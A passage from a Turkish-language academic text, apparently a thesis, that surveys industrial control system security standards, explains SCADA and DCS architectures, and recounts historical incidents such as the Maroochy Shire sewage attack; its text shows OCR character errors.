* 1303 Personel Konular1 ve Egitimi
* 1304 Elektronik Giivenlik

» 1305 Fiziksel Giivenlik

* 1306 Sistem Giivenlik Yo6netimi

* 1307 Olaylara Miidahale Planlar1

+ 1308 lyilestirme Planlar1. [79].

2.6.9. NERC-CIP-002-CIP-011

NERC 1300 standard: giincellenerek 2006°da hazirlanmistir ve 3. siirtimii 2010°da giincel
hali olarak yenilenmistir. Standart ile siirekli bir kontrol parametresi saglanmasi, olay
miidahale ve yonetimi, Kritik Siber varliklarin iyilestirilmesi ve calisir halde tutulmasi

amaclanmigtir. Standart asagidaki konularda diizenlemeler igcermektedir:

o Kiritik Siber Varlik tanimlama,

* Giivenlik Yonetimi Kontrolleri

* Personel ve Egitimi

 Elektronik Giivenlik Korumasi

* Fiziksel Gilivenlik Programi

 Sistem Giivenlik Yo6netimi

+ Olay Raporu ve Miidahale Plani

« Kritik Siber Varliklar i¢in Iyilestirme Planlari
« Toplu Elektrik Sistemlerinin Siniflandirilmasi

« Toplu Elektrik Sistemlerinin Siber Savunmasi. [77].

2.6.10. FERC SSEMP

Haziran 2002 yilinda yaymlanmistir. Sonradan ABD’deki tiim elektrik piyasa katilimcilari
icin zorunlu hale gelmistir. Bu dokiiman, elekirik sebekeleri ve personeliyle ilgili donanim,
yazilim, veri ve iletisim aglar1 gibi konularda minimum uyulmas: gereken standartlari

belirlemektedir [78].



27

2.6.11. IEEE 1402 (Elektrik trafo merkezi fiziksel ve elektronik giivenlik kilavuzu)

IEEE tarafindan 2000 yilinda olusturulan ve 2008 yilinda yeniden gozden gegirilen IEEE
1402-2000 (R2008) standardinda ¢cogunlukla elektik gii¢ liretim ve dagitim istasyonlarinin
fiziksel seviyede giivenligi konu edilmekle birlikte, elektronik ortamdan sizmalara da yer
verilmektedir. Bu standardin amaci, riskleri azaltmak i¢in hassas sebekelere karsi yetkisiz
girislere, bilgi hirsizligia, yikici eylemlere karsi fiziksel glivenlik uygulamalarini ve

elektrik sebekelerinde farkli giivenlik seviyelerindeki gereksinimleri tanimlamaktir [74].

2.6.12. NIST standardi

Bu standart endiistriyel kontrol sistemlerinin gilivenligini saglamaya yonelik olarak
hazirlanmistir. Bu standart, Merkezi Denetleme Kontrol ve Veri Toplama sistemleri
(SCADA) ve Dagitik Kontrol Sistemleri (DCS) gibi EKS ve EKS bilesenlerinden
Programlanabilir Kontrol Cihazlarin1i (PLC) igerir. EKS, birbirine bagh ve karsilikli
caligabilen bagimsiz sistemlerden olusmaktadir. Bu standart, EKS’ye karsi tehdit ve
acikliklar1 tanimlar, riskleri azaltmak igin tavsiye niteliginde kurallar igerir. Standartta ele

alinan tehditler asagida belirtilmistir.

1. Aglarda bilgi akigin1 geciktirerek veya bloke ederek bu sistemlerin caligmasini
bozabilirler.

2. Yetkisiz komut ve yonlendirme yapilarak, hasar esiginin asilmasi sonucu sistemler
kapanabilir, bozulabilir, ¢evresel etkiler olusabilir ve sonucta insan yasami zarar

gorebilir.

Bu yiizden Endiistriyel Kontrol Sistemlerinde kullanilan bu standartlarin hedefi;

+ Sistem aglaria ve aktivitelerine girisi sinirlandirmak,

+ Sistem aglarina ve cihazlarina fiziksel girisi sinirlandirmak,
 Saldiridan tekil olarak tiim parcalar1 korumak,

* Saldir1 durumlarinda sistemi ¢alisir halde tutmak,

 Saldiridan sonra sistemi geri yiiklemektir.
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Bu standart;

* Giivenlik politikalar1, prosediirler ve egitici materyaller igerir.

+ Ulusal giivenlik temelli tehditleri degerlendirerek, giivenlik politikalar1 ve standartlari
igerir.

* DMZ ag mimarisi kullanir.

 Akilli kimlik kartlar1 gibi modern teknoloji kullanir.

 Sistemin kritik bilesenlerinin hesap izlerini inceler.

* Veri kayitlar ve iletisim igin sifreleme teknikleri kullanir [80].

2.6.13. NISTIR 7628 (National institute of standards and technology
interagency report)

“Akillr sebeke kullanimi” konulu calistaylarin sonucunda ortaya c¢ikmistir ve kapsamli
siber giivenlik kurallarimi igerir. NISTIR 7628 risk degerlendirmesi ve giivenlik analizi

konularinda asagida belirtilen bagliklar igerir [81]:

1. Giivenlik mimarisi stratejisi,

» Siber giivenlik stratejisi

* Mantiksal mimari

» Yiiksek seviye giivenlik gereksinimleri

 Kiriptografi ve anahtar yonetimi

2. Gereksinimler
Gizlilik ve akilli sebekeler

w

. Destekleyici analiz ve referanslar

* Agiklik siniflandirmast

* Asagidan yukariya akilli sebekelerde giivenlik analizi

» Akilli sebekelerde siber giivenlik konusunda arastirma ve gelistirme konulari
 Standart denetimlerine bakis

 Anahtar gii¢ sistemlerinin giivenlik i¢in kullandig1 ¢oziimler [82].
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2.6.14. NIST SP 800-53

Federal Bilgi Sistemleri ve Organizasyonlar1 i¢in giivenlik ve gizlilik kontrolleri baslhkli
standart; organizasyon varliklarina, bireylere, diger kuruluglara ve ulusa diigman siber
ataklara, dogal felaketlere, yapisal hatalara ve insan hatalarina karsi organizasyonun
islevlerini korumak ic¢in uygun yontemleri igerir. Standartta, bu yontemlerin, kurumlarin
bilgi giivenligi ve gizlilik riskini yonetmede bir kilavuz olarak kullanilabilecegi
belirtilmistir. Standart, giris, onemli konular ve yontemler ad1 altinda {i¢ boliimden olusur.

Bu boéliimler asagidaki hedefleri kapsamaktadir:

* Giris: Amag ve uygulanabilirlik, hedef kitle, diger gilivenlik kuruluslariyla iligkiler,
orgiitsel sorumluluklar,

e Onemli konular: Cok yonlii risk ydnetimi, giivenlik kontrol yapisi, giivenlik
kontroliiniin ana hatlar1, gosterimi, dis servis saglayicilar, giiven ve giivenilirlik,
yenilenme ve biiylime,

* Yontem: Giivenlik kontrol se¢imi ana hatlari, ana hatlar1 glivenlik kontroliine
uyarlamak, katman yaratma, kontrol secim islemini kayit altina alma, yeni yontemler ve

yasal sistemler [82].

2.6.15. IEC S63 raporu

Genel olarak akilli sebeke giivenligi gereksinimleri i¢in statii ve tavsiye niteligindeki
standartlar1 igerir. Endiistriyel giivenlik standartlari, giris kontrolleri, kimlik yonetimi,

giivenli ag, kablolu ve kablosuz baglanti standartlari konularin1 kapsamaktadir [77].

2.6.16. IEC 1686-2007

Trafo merkezinde kullanilan Akilli Elektronik Cihazlar igin siber giivenlik o6zellikleri,

kabiliyet ve fonksiyonlar1 konusunda standartlar ile kritik altyapilarin giivenligi ile ilgili
konular hakkinda bilgilendirici bir dokiimandir [77].

2.6.17. ISA-SP99 iiretim ve kontrol sistemleri giivenlik standardi

ISA-SP99 standardi, 2002 yilinda hazirlanmis ve 2 teknik rapor halinde yaymlamistir.

Standart, iiretimde veya kontrolde kullanilan unsurlarin ve sistemlerin erigebilirligini,
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bitlinliigiinii ve gizliligini gelistirmeyi kapsamaktadir. Giivenlik kontrol sistemlerini
olusturmay1 ve kistas belirlemeyi hedefler. Teknik raporlar, kontrol sistemlerine 6zgl

veriler, giivenlik standartlar1 ve yayinlari igerir [78].

ISA-99, standard1 endiistriyel otomasyon ve kontrol sistemleri konusunda yol gdstericidir.
Risk analizi, farkindalik olusturma ve karsi onlemler ile siber glivenlik yonetim sistemleri
konularii ele alir. Birgok giivenlik teknoloji iiriinleri konusunda tavsiye ve rehber

niteliginde bilgiler igerir [77].

2.6.18. NIST 800-82

NIST tarafindan hazirlanan NIST 800-82 no.lu “Endiistriyel Kontrol Sistemleri Giivenligi
Rehberi” baghkli calismasinin amaci, SCADA sistemlerinin ve dagitik kontrol
sistemlerinin, diger bir ifadeyle endiistriyel kontrol sistemlerinin ve kontrol fonksiyonu
saglayan diger sistemlerin giivenligini saglamaya yonelik bir kilavuz teskil etmektedir.
NIST 800-82 rehberi su alt basliklar halinde siralanmustir [80] :

* SCADA ve diger EKS’de alinan fiziksel dnemlerin yani sira giivenlik ihtiyaclarinin
gerekcelerine genel bir bakis,

» Aciklik, tehdit ve olaylar kapsaminda EKS ve BT sistemleri arasindaki farklar,

* Yukarida tamimlanan giivenlik agiklar1 riskini azaltmak i¢in bir EKS giivenlik
programinin gelistirilmesi ve dagitilmasi,

* Ag ayrimi uygulamalarini vurgulayarak, EKS’de bulunan tipik ag mimarilerine
giivenlik ¢ozlimlerini entegre etmek icin Oneriler,

* NIST 800-53’te tanimlanan yonetimsel, operasyonel ve teknik kontrollerin dzeti.

NIST 800-82, dogrudan bir giivenlik kontrol listesi sunmakla birlikte, ayn1 zamanda risk
degerlendirmesi c¢alismalart igin yararlanilacak giivenlik gereksinimleri ve ¢oziimleri de
sunmaktir. Standart, EKS altyapisinda kullanilan donanimsal ve/veya yazilimsal bilesenleri
incelemekte, daha giivenli ag-uygulama servisleri i¢cin Oneride bulunmakta ve ornekler
sunmaktadir. Bu nedenle, pratik inceleme ve diizeltmeler i¢in bagvurulabilecek kaynaklar
arasinda yer almaktadir [32]. NIST 800-82 rehberinde, endiistriyel denetim sistemlerinde

ortaya ¢ikabilecek muhtemel istenmeyen olaylar asagidaki sekilde 6zetlenmistir [74] :
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« Agda tasinan bilginin engellenmesi veya gecikmesi sonucunda, denetim ve izleme
islemleri aksamasi,

+ Komut, yonerge ve alarm esiklerinin yetkisizce degistirilmesi ile sistem bilesenlerinin
kapanmasi, devre dis1 kalmasi veya hasar gormesi sonucunda ¢evrenin, ¢alisanlarin ve
diger insanlarin hayatlarinin tehlikeye altina girmesi,

* Hatali bilginin sistem operatorlerine gonderilmesi veya yetkisiz degisikliklerin
gizlenmesi ile operatorlerin uygun olmayan komutlar géndermesine sebebiyet verecek
durumlarin olusturacagl olumsuz etkiler, giivenli sistemlere miidahale ile insanlarin

hayatinin tehlikeye diisiiriilmesi.
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3. ENDUSTRIYEL KONTROL SISTEMLERINDE SiBER GUVENLIK

Endiistriyel Kontrol Sistemleri (Industrial Control Systems- ICS); gaz, su, enerji sistemleri,
iretim sistemleri ve ulasim sistemleri gibi dagitik bir yapida bulunan sistemleri uzaktan
izleme ve kontrol etmek igin kullanilan sistemlerdir. Endiistriyel Kontrol Sistemleri, kritik
altyapilarda kullanilanlar da dahil olmak {izere her tiirlii endiistriyel sistemi kontrol etmek

veya isletmek icin temel altyapi olarak hizmet eder [80, 83].

EKS, enerji sektoriindeki elektrik tiretim tesislerinin ve diger endiistriyel siireglerin
isleyisinde merkezi bir konumdadir. EKS, endiistriyel bir ortamda merkezi sistem kontrol
merkezlerine bagli pompalar, kesiciler, valfler ve diger sistem algilama, izleme ve kontrol
cihazlarin1 kontrol eden birincil aractir. Bu kontrol sistemleri, giivenlikle ilgili sistemlerin

kontroliinii sagladiklari i¢in endiistriyel operasyonlarin ayrilmaz bir pargasidir [84].

Endiistriyel kontrol sistemleri, bir otomasyon sisteminin ihtiyaclarim1 karsilamak igin
uygulanan entegre iletisim agidir. EKS ag bilgi alani, dijital kontrolorler, alan cihazlari,
yazilim ve uygulamalar arasindaki iletisim protokollerinin uygulanmasini ve endiistriyel
ortamda fiziksel ekipmanlarin yonetimini igerir [85]. EKS, SCADA ve DCS olarak
gruplandirilan endiistriyel kontrol sistemlerinin iki kategorisi i¢in kullanilan semsiye bir

terimdir.

3.1. SCADA

SCADA oncelikle, uzaktaki donanima iist diizey komutlarla sinirli olan denetim roliindeki
dagitilmis bir sistemdir. SCADA sistemleri cografi olarak dagimik uzak terminal
iinitelerinden olaya dayali verileri elde etmek ve bu verileri bir merkezi insan makine
arayiizi (HMI) konsolunda sunmak iizere tasarlanmistir. Bir SCADA kontrol merkezi,
alarmlarin izlenmesi ve durum verilerinin islenmesi dahil olmak {izere uzun mesafeli
iletisim aglar {izerinden alan siteleri i¢cin merkezi izleme ve kontrol gergeklestirir. Diger
bir ifadeyle, SCADA sistemleri, bir sistemin gdzetim ve denetimini saglayan ve sistemleri
uzaktan ve otomatik olarak denetlemek, yonetmek ve izlemek icin tasarlanmig bir EKS
tiiriidiir. Uzak istasyonlardan alinan bilgilere dayanarak, otomatiklestirilmis veya operator
tarafindan yonetilen denetim komutlari, genellikle saha cihazlar1 olarak adlandirilan uzak

istasyon kontrol cihazlarina aktarilabilir [86, 87]. Kontrol sistemleri, merkezi olmayan
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cesitli operasyonlar1 izlemek ve kontrol etmek i¢in kullanilan SCADA sistemlerini
igcermekte olup, bu da esas olarak onu isleten kisinin fiziksel olarak hemen yaninda

durmadig1 anlamina gelmektedir.

SCADA sistemleri, tipik olarak PLC'ler veya diger ticari donanim modiilleri araciligiyla
bir yazilim paketi ile sistem donanimiyla arabirim kurarlar. SCADA sistemleri ¢ogunlukla
santraller gibi endiistriyel ortamlarda veya biiylik iiretim tesislerinde bulunur. Bir SCADA
sisteminde iki temel katman vardir: HMI olan istemci katmani ve islemleri yoneten veri
sunucusu katmani. Genel olarak, bu sistemlerin dayaniklilig1 veya uzun siireli endiistriyel

kullanima dayanma kabiliyeti, kritik altyapida neden kullanildiginin kanitidir.

Bir SCADA sebekesinin bozulmasi, bir enerji iiretim tesisi i¢in kritik olabilir. SCADA,
karmasik bir siber giivenlik tehdidine kars1 savunmasizdir, ¢ilinkii siire¢ izleme ve denetimi
tek bir agda birlestirilmistir. Bu, saldirgana ayni1 anda izleme sistemini yerel olarak normal

calisma goriiniimiiyle iletisim kurmak i¢in uzaktan denetim islevini bozma firsat1 verir [88].

3.2. DCS

DCS, aynmi cografi bolgede yerel dagitilmis endiistriyel siirecleri ydneten ve izleyen
sistemlerdir. DCS, {iretim siirecinin yiriitiilmesinden toplu olarak sorumlu olan siireg
denetleyicilerinin ve operator istasyonlarinin yerel bir agidir [89]. DKS, iiretim tesisleri,
rafineriler, farmasdtik isleme tesisleri veya atik su aritma tesisleri gibi tiretim sistemlerinde

gorev yapmaktadir [80].

Kritik Altyapt Endistriyel Kontrol Sistemleri (Critical Infrastructure Industrial Control
Systems - CI2CS), kontrol sistem konfigiirasyonlarinda, kizaga monte programlanabilir
lojik kontrol cihazlar1 (PLC), SCADA sistemleri ve DCS’yi igerir. Bu kontrol sistemlerinin
calistig1 karsilikli bagimli ve siklikla birbirine bagh sistemler, kritik altyapilar i¢in hayati

onem tagimaktadir [80].

Endiistriyel kontrol sistemleri, endiistride en ¢ok PLC, HMI, Temel Terminal Birimi
(Master Terminal Unit-MTU) ve Uzak Terminal Birimi (Remote Terminal Unit-RTU)
gibi birgok alt bilesenlerinden olusmaktadir [18]. HMI, basit¢e, insanlarin makinelerle

nasil arabirim kurdugudur. Arayiiz, diigmeler, monitorler, klavyeler, dip anahtarlar,
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dokunmatik ekranlar, potansiyometre gibi bilesenleri icerebilir. Insan eylemi,
sistemlerin tehlikeye diismesinin baslica nedenlerinden biridir; ¢ogu zaman "mizrak
phishing (spear phishing)" saldirilariyla baglar. Eski nesil endiistriyel kontrol
sistemlerinde bu bilesenler dis aglardan bagimsiz 6zel bir i¢ ag ile haberlesmekte ve
kurumsal i¢ ag ve Internetten, endiistriyel aga ozgii protokoller olan MODBUS,
PROFIBUS ve CONTROLNET gibi 06zel iletisim protokollerini kullanarak tecrit
edilmislerdi. EKS i¢in Dagitik Ag Protokolii 3 (Distributed Network Protocol 3- DNP
3), Genel Nesne Tabanli Trafo Aktiviteleri (Generic Object Oriented Substations
Events-GOOSE), IEC 61850 ve IEC 608750-5 gibi standartlar gelistirilmis olsa da,
tutarli giivenlik ¢ozlimlerinin uygulanmasi ic¢in yeterli standardizasyon saglanabilmis

degildir [26].

Bu nedenle, yalitilmis halde bulunan endiistriyel kontrol sistemlerinin giivenli oldugu
kabul edilerek siber giivenlik boyutu biiyiik oranda ihmal edilmisti. Ancak, zamanla,
tiretkenligi ve verimliligi artirmak amaciyla cografi olarak birbirinden oldukga uzakta
daginik bir yapiy1 kontrol etmek ve izlemek i¢in endiistriyel kontrol sistemi iletisim
protokoliiniin standartlar1 simdi agik uluslararasi standartlara kaydirilmis ve internet
veya intranet baglantisina ihtiya¢ duyulmustur [90]. Ayrica endiistriyel kontrol sistemi
ve kurumsal veritabanlar1 arasinda otomasyon silire¢ degisken verilerini degistirme
gereksinimi EKS iginde Ethernet ve iletim Denetimi Protokolii / Internet Protokolii
(TCP / IP) teknolojilerini birlestirmek i¢in katalizor haline gelmistir. 1990l yillarin
EKS dijital evrimi, bilgi teknolojisi (IT) ve EKS yakinsamasiyla birlikte, endiistriyel
ortamda konuslandirilan Ethernet EKS cihazlarinin sayisim  artirmistir  [91].
Saldirganlarda, bu standartlar hakkinda derinlemesine bilgi edinebilir ve avantajlarini
kullanabilir [92]. Bu gelismelere ragmen giivenlik bugiin hala kullanilmakta olan
bircok EKS sistemi icin sistem tasariminin bir parcasi degildir. Bugiiniin sistemleri
artik Internet ortamina aciktir ve burada hem izlenir hem de kontrol edilir. Bu internet
baglantisinin bir sonucu olarak, ag gilivenligi sorunlar1 uzaktan bagh sistemlerin temel
tehdidi olmay: siirdirmektedir [93]. Diisiik maliyetli ve yaygin IP cihazlariin patentli
¢Ozlimlerin yerini almasi nedeniyle, siber giivenlik vakalar1 ve giivenlik acgiklari i¢in

olasilik artmistir [94].
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3.3. Bilgi Teknolojileri ile EKS Arasindaki Farklar

Ticari uygulamalarda kullanilan EKS ve IT sistemleri arasindaki farklar nedeniyle, BT
giivenlik ¢oziimlerini dogrudan EKS icindeki sorunlarla miicadele etmek igin
kullanabilmek zordur. Ornegin, EKS, olay olmaksizin birkag y1l siireyle siirekli calisabilir,
ancak cevrimici kontrol sistemindeki herhangi bir degisiklik veya giincelleme, proses ve

ekipmana beklenmedik zararlara neden olabilir.

Endiistri, olduk¢a belirgin olan bu giivenlik risklerinin farkindadir. Bununla birlikte,
endiistriyel kontrol sistemlerini "gilincellemek" oldukca riskli olabilmektedir. Birincil
nedeni, Ozellikle trafik kontrol sistemleri ve enerji santralleri i¢in giivenlik unsurlarinin
eklenmesiyle istenmeyen uzun bir ¢alisma zamani gerekmektedir. Ikincisi, mevcut EKS
donanimlarinin goémiilii kodlarin1 tamamen degistirmek i¢in yeni giivenlik protokollerinin
eklenmesi gerekmektedir. Son olarak, EKS sistem aglari, genellikle EKS’ye 6zel sistem

igin Ozellestirildigi i¢in genellestirilmeleri olduk¢a zordur [93].

Kontrol sisteminin riskini azaltmak i¢in alinacak onlemler, sisteme dahil edilmeden 6nce
dikkatle test edilmelidir [95]. Bu nedenle, siber giivenlik arastirmasi igin canli bir
endiistriyel kontrol sistemi kullanmak yerine bir sinama ortami gelistirmek onemlidir.
EKS, 6zel yazilim ve donanimlar1 kullanarak tescilli kontrol protokollerini ¢alistiran izole
sistemler olarak kullanildigi déneme iliskin, BT ile olan halka agik protokolleri olan
geleneksel IT sistemlerinin aksine farkli gereksinimlerle tasarlanmislardi. EKS ile Bilgi

Teknolojileri Sistemleri arasindaki farklar Cizelge 3.1°de goriilmektedir [94].

Endiistriyel tesisler icin giivenlik hedefi genellikle fiziksel giivenligin artirilmasina
yoneliktir. Diger taraftan EKS sebekeleri ile ilgili gilivenlik endiseleri, sebeke
baglantisindaki farklilagmast ve dis aglara acilmasi nedeniyle artmaya devam etmektedir.
EKS aglari, herhangi bir agdaki gibi, mevcut ag teknolojisi kullanilarak ¢oklu erisim
noktalarina sahip olabilir. Fiziksel izolasyonun ag giivenligi ile esit olduguna dair bir

anlayis da dogru degildir.
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Cizelge 3.1. BT ile EKS arasindaki farkliliklar (NIST SP800-82, 2015)

Kategori Bilgi Teknolojileri Sistemi Endiistriyel Kontrol Sistemi
. Gergek zaman iletisim gereksinimi a. Gergek zamanl iletisim ihtiyaci
yoktur (Non Real Time) b. Yanit zamani agisindan kritik
. Yanit tutarli olmal1 c. Orta Seviye veri iletimi (Modest
Yiksek  veri aktarmu  (High throughput) kabul edilebilir
Performans throughput) talep edilir ¢. Yilksek gecikme ve / veya jitter kabul
Gereksinimleri . Yiiksek gecikme ve gecikmedeki edilemez
degisim (jitter) kabul edilebilir d. Insan ve diger acil miidahaleye tepki
. Daha az kritik acil durum etkilesimi kritik Snem tastyor
 Siki kistlanmis  erisim  kontrolii, e. EK_S ye erisim siki bir se_kllde kont_rol
N . . . edilmeli, ancak insan-makine
giivenlik  icin  gerekli  derecede e
uygulanabilir etkilesimine engel olmamali veya
miidahale etmemeli
a. Yeniden baslatma gibi iglemler,
siireglerin devamliligi gereksinimleri
nedeniyle kabul edilemez.
. Yeniden baglatma (rebooting) gibi S .. .
Kullanilabilirlik |  iglemler kabul edilebilir b. Kullanilabilirlik ~ gereksinimleri,
e . yedekli sistemleri gerektirebilir
(Giivenilirlik) e de .
.. . . Kullanilabilirlik eksiklikleri, sistemin . .. ..
Gereksinimleri . . .. | . Kesintiler giinler / hafta onceden
operasyonel gereksinimlerine bagl
. . planlanmalidir
olarak genellikle tolere edilebilir
¢. Yiiksek kullanilabilirlik, ayrmtili 6n
kurulum  (pre-deployment)  testi
gerektirir
. Fiziksel dinyamin kontrol edilmesi | a. Verilerin yonetimine ihtiya¢ duyulur
gereklidir b. Insanin giivenligi cok énemlidir, bunu
. Veri gizliligi ve biitiinligi oldukca siirecin korunmasi izlemektedir
Risk Yonetimi Onemlidir c. Hataya dayaniklilik onemlidir, anlik
Gereksinimleri . Hata tolerans1 daha az onemlidir - kesintiler ~ bile  kabul edilebilir
anlik kesintiler Onemli bir risk olmayabilir
degildir ¢. En 6nemi risk etkileri yasam, ekipman
. En  Onemli risk etkisi is veya tretim kaybi, uyumsuzluklarin
operasyonlarmin gecikmesidir diizenlenmesi ve cevresel etkilerdir
a. Genellikle giivenlik  ozelliklerini
) L ) barindirmayan farkli ve muhtemelen
. Sistemler, tipik isletim sistemleriyle tescilli isletim sistemleri
birlikte kullanilmak lizere b. Vazihm degisiklikderi. Szellestirilmi
. T tasarlanmustir . Yazilim degisiklikleri, 6zellestirilmis
Sistem Igletimi ) ) kontrol algoritmalar1 ile yazilim ve
.O“tomatlk kuru}um araglari "11'6 donanimlarin modifiye edilmelerine
giincellemeler dogrudan gerceklestirilir karsin, yazilim giincellemeleri
tedarikgiler  tarafindan  dikkatlice
yapilmalidir.

Kaynak
Kisitlamalari

Sistemler, giivenlik c¢oziimleri gibi
iictlincii parti uygulamalarin
eklenmesini desteklemek icin yeterli
kaynaklarla desteklenmektedir

Sistemler, tasarlanan endiistriyel siireci
desteklemek tizere tasarlanmigtir ve
giivenlik yeteneklerinin eklenmesini
desteklemek icin yeterli bellek ve bilgi
islem kaynaklar1 olmayabilir.
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3.4. Hazir Ticari Uriin Kullanimi

EKS aglarinda kullanilan COTS yazilim ve donanimlari, EKS giivenlik agiklaria katkida
bulunan bir diger faktordiir. COTS yazilimi ile maliyetler ve tasarim i¢in gereken siire
azaltilabilir, ancak giivenlik tehlikeye girebilir [96]. COTS yazilimi, saldirganlar
cezbedecek bir hedef saglar, cilinkii genellikle gilivenlik acisindan zayiftir. Devre dist
birakilabilen, bir saldirgan tarafindan sokiiliip engellenebilecek basarisiz giivenlik
mekanizmalari, COTS olmayan cihazlarin aksine, gilivenlik acgiklar1 olarak COTS
yaziliminda bulunur. COTS disindaki cihazlar, giivenlik agisindan kritik ortamlarda
calistirtlmas1 amaglandigindan genellikle emniyetli olacak sekilde tasarlanmistir; Bununla

birlikte, COTS cihazlarinin tasarimcilarinda ayni hassasiyet goriilmemektedir.

Ulkelerin CI2CS'lerine diger devletlerin saldiris1 devam etmektedir. Ciinkii iilkelerin
savunmasi ve giivenligi konusunda en hassas alanlardan birisi EKS’dir. Yakin gecmiste, bu
siber zayif noktalar, daha 6nce tasarlanmis, giivenlik konusunda ¢ok az giivenligi olan veya
olmayan bu eski sistemlerin yerini, en yeni COTS ag ve sistem donanimi ile entegre olan
en giincel COTS yazilimini igeren kontrol sistemleri almaktadir. Otomasyona bagimli olan
belirli endiistrilerde protokolleri ve standartlari diizene sokmak igin teknolojilerin bu
evliligi; her ne kadar kolay ve verimli olsa da, kendi zorluklarin1 ve gilivenlik risklerini
ortaya koymaktadir. Ayrica, ticari amacl gelistirilen tiriinlerin kullanilmasi, ModBUS/TCP
gibi biitiinlesik protokollerin gelistirilmesi sonucunda EKS’lerin daha agik, uzaktan
erigilebilir ve gesitli siber saldirilara kars1 zaafiyetli duruma getirmistir [97, 98]. Bu siireg

sonunda 6nceden tespit edilemeyen yeni agikliklar ortaya ¢ikmistir. Bu agikliklar;

» Kontrol sistemleri giivenlikten 6te, kritik zamanlama gereksinimleri, kat1 performans ve
gorev Oncelikleri gibi sistemin etkinligine odaklanilan bir tasarima sahip olmasi,

« Sistemi olusturan kaynak kodlarinin ¢ogunlukla agik olmasi,

» Uzaktan erisime izin vermesi (VPN, vb.),

» Varsayilan kullanici ad1 ve sifrelerin genellikle degistirilmemesi ve bu nedenle agik arka
kap1 birakilmasi,

« Sistem bilgi giivenliginin az distinildigi veya ¢ok az ele alindigi ticari amaglh

gelistirilmis iletisim protokollerinin uygulanmasi seklinde belirtilmektedir [99].
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3.5. EKS’de Yasanan Giivenlik Olaylar:

EKS’ler bir¢ok kritik altyapinin izlenmesinden ve kontroliinden sorumludur. Bu
sistemlerde bir olusacak giivenlik zafiyeti sonugta saldirganlarin bu hedeflere karsi
istahlanmasina sebep olur. Sistemin kontroliiniin ele gecirilmesi sonucunda, sadece
ckonomik zarar degil aynmi zamanda insanlarin yasantilarinda 6nem arzeden Kkritik

hizmetleri alamamasina ve belkide can kaybina neden olabilir [20].

3.5.1. Hava trafik iletisimi

Mart 1997°de Worcester, Massachusetts telefon sebekesinin bir kismi ¢evirmeli modem
kullanan bir geng¢ tarafindan devre dis1 birakildi [80]. Saldir1 sonrasinda, hava durumu
servisi, kontrol kulesi, havaalani itfaiye ve havaalani giivenligi tiim telefon hizmetlerini
kaybetti. Ayrica, ugus ilerlemesini izlemek ic¢in denetleyicilerin kullandig1 bir yazict ve
kulenin ana radyo vericisinin yani sira, pist i1siklarini aktive eden bagka bir verici de
kapatildi. Worcester’in yakininda bulunan Rutland'da 600 eve ve isletmelere yonelik

telefon hizmeti de saldirtyla engellendi [80].

3.5.2. Maroochy Shire kanalizasyon dagilimi

SCADA sistemleri, kritik altyap1 sektorlerinde hayati varliklar1 kontrol etmektedir ve kritik
altyapidaki bir sistemin arizalanmasi felaket olabileceginden, bu sistemlerin giivenliginin
arttirtlmas1 gerekmektedir. Maroochy su ihlali, tehlikeye atilan bir SCADA sisteminin
sonuglarinin bir 6rnegidir. Avustralya Queensland’da yasanan atik yOnetim tesislerinde
yasanan bu saldiri, biiyiik miktarda atigin kamusal alanlara dokiilmesine sebep olmustur.
Bu saldiri, eski bir kurum ¢alisani olan Vitek Boden tarafindan gergeklestirilmistir [14].
Boden’e, Ocak 2000'de Maroochy Shire Konseyi'nde calisamayacagin1 sdyledikten sonra
kanalizasyon sisteminde, pompalar c¢aligmamaya, alarmlar merkezi bilgisayara
ulasmamaya ve merkezi bilgisayar ile g¢esitli pompa istasyonlar1 arasinda iletisim kaybi
yasanmaya baslamistir [100]. Boden, 150 kanalizasyon pompa istasyonunun kontroliinii
ele gecirmek icin sadece bir diz {iistii bilgisayar ve kablosuz modem kullanmistir. Bu
saldirt, 9 Subat - 23 Nisan 2000 tarihleri arasinda, 46 farkli fasilada, iki ay boyunca

gerceklestirilmistir. Belirli kanalizasyon pompa istasyonlari igin elektronik verilerin
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degistirilmesi sonucunda nihai olarak yakindaki nehirlerin ve parklarin igine toplamda

yaklasik 264.000 galon atik suyun akitilmasina yol agmustir [80, 101]].

Boden, SCADA sistemi i¢in kullanilan yapilandirma programini kisisel diziistii
bilgisayarma yliklemistir. 23 Nisan 2000'de hedeflenen sistemi yonlendirebilen bir kisisel
bilgisayar1 pompa istasyonunda bir makineyi taklit etmek icin kullanmis ve pompalama
istasyonlarinin dordiinde alarmlar1 devre dist birakmustir. Saldiri, isten c¢ikarilmasina
ragmen yetkileri alinmayan igeriden birisi tarafindan gergeklestirilmesi nedeniyle yonetici
istasyonlar1 yasanan olayalar iliskin uyar1 alamamistir. Bu saldirtyr miimkiin kilan gesitli
faktorler vardi. Oncelikle, saldir1 gergeklestirildikten sonra giivenlik Onlemleriyle
savunulmasi oldukga zor olan dahili bir saldirtydi. Boden sistemin topolojisini ve nasil
yonlendirecegini biliyordu. Giivensiz radyo sinyallerine miidahale ederek sistemde
degisiklikler gerceklestirdi. En Onemli husus, sistem {izerinde uygulanmasi gereken
giivenlik kontrollerinin (kullanict girisleri, yetkilendirme, vb.) olmamasi nedeniyle bu

sistemlere girmeyi basarmasidir [100].

Maroochy olay1 iceriden bir saldir1 olmasina ragmen, SCADA agina ait dogru bilgiler ve
ihtiya¢ duyulan donanima sahip herhangi bir saldirgan tarafindan benzer bir saldirt
gerceklestirmis olabilirdi. Maroochy ihlali, sistemi tasarlayan igeriden bir saldirgan

tarafindan gergeklestirilmis olmasi nedeniyle engellenme sans1 diisiiktiir.

Bilgisayar korsanlar1 kritik altyap: sektorii igin tehlikelidir, ancak sistemin ozelliklerini
bilen hosnutsuz igerden bir saldirgandan (insider) kaynaklanmasi durumunda biiyiik tehlike
s0z konusudur. Kurumlar genellikle mevcut SCADA sistemlerinin 6zellikle fiziksel
giivenliklerinin ¢ok siki olmalarma gilivenerek, bu tiir bir saldiriya karsi gilivende
olduklarini diisiinmektedirler. Bu nedenle de, bir saldir1 ile karsilagtiklarinda ciddi kayip ve
zararlara maruz kalmaktadirlar. Bu saldirida 150 atik su pompasi istasyonu 3 aydan fazla

siireyle kontrol altina alinamamustir.

3.5.3. CSX tren sinyalizasyon sistemi

ABD’nin dogu kiyisindaki tren sinyal sistemleri Sobig bilgisayar viriisii tarafindan Agustos
2003°de kapatilmistir. Jacksonville, Florida karargahinda bulunan CSX Corporation'in

bilgisayar sistemine viriisiin bulagsmasi nedeniyle, sinyal alma, gonderme ve diger sistemler
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tamamen kapanmustir. Icerigi bozulan sinyaller, Florence ile Giiney Carolina arasindaki
trenlerin durmasina yol agmustir. Zararli, Richmond, Virginia'dan Washington’a ve New
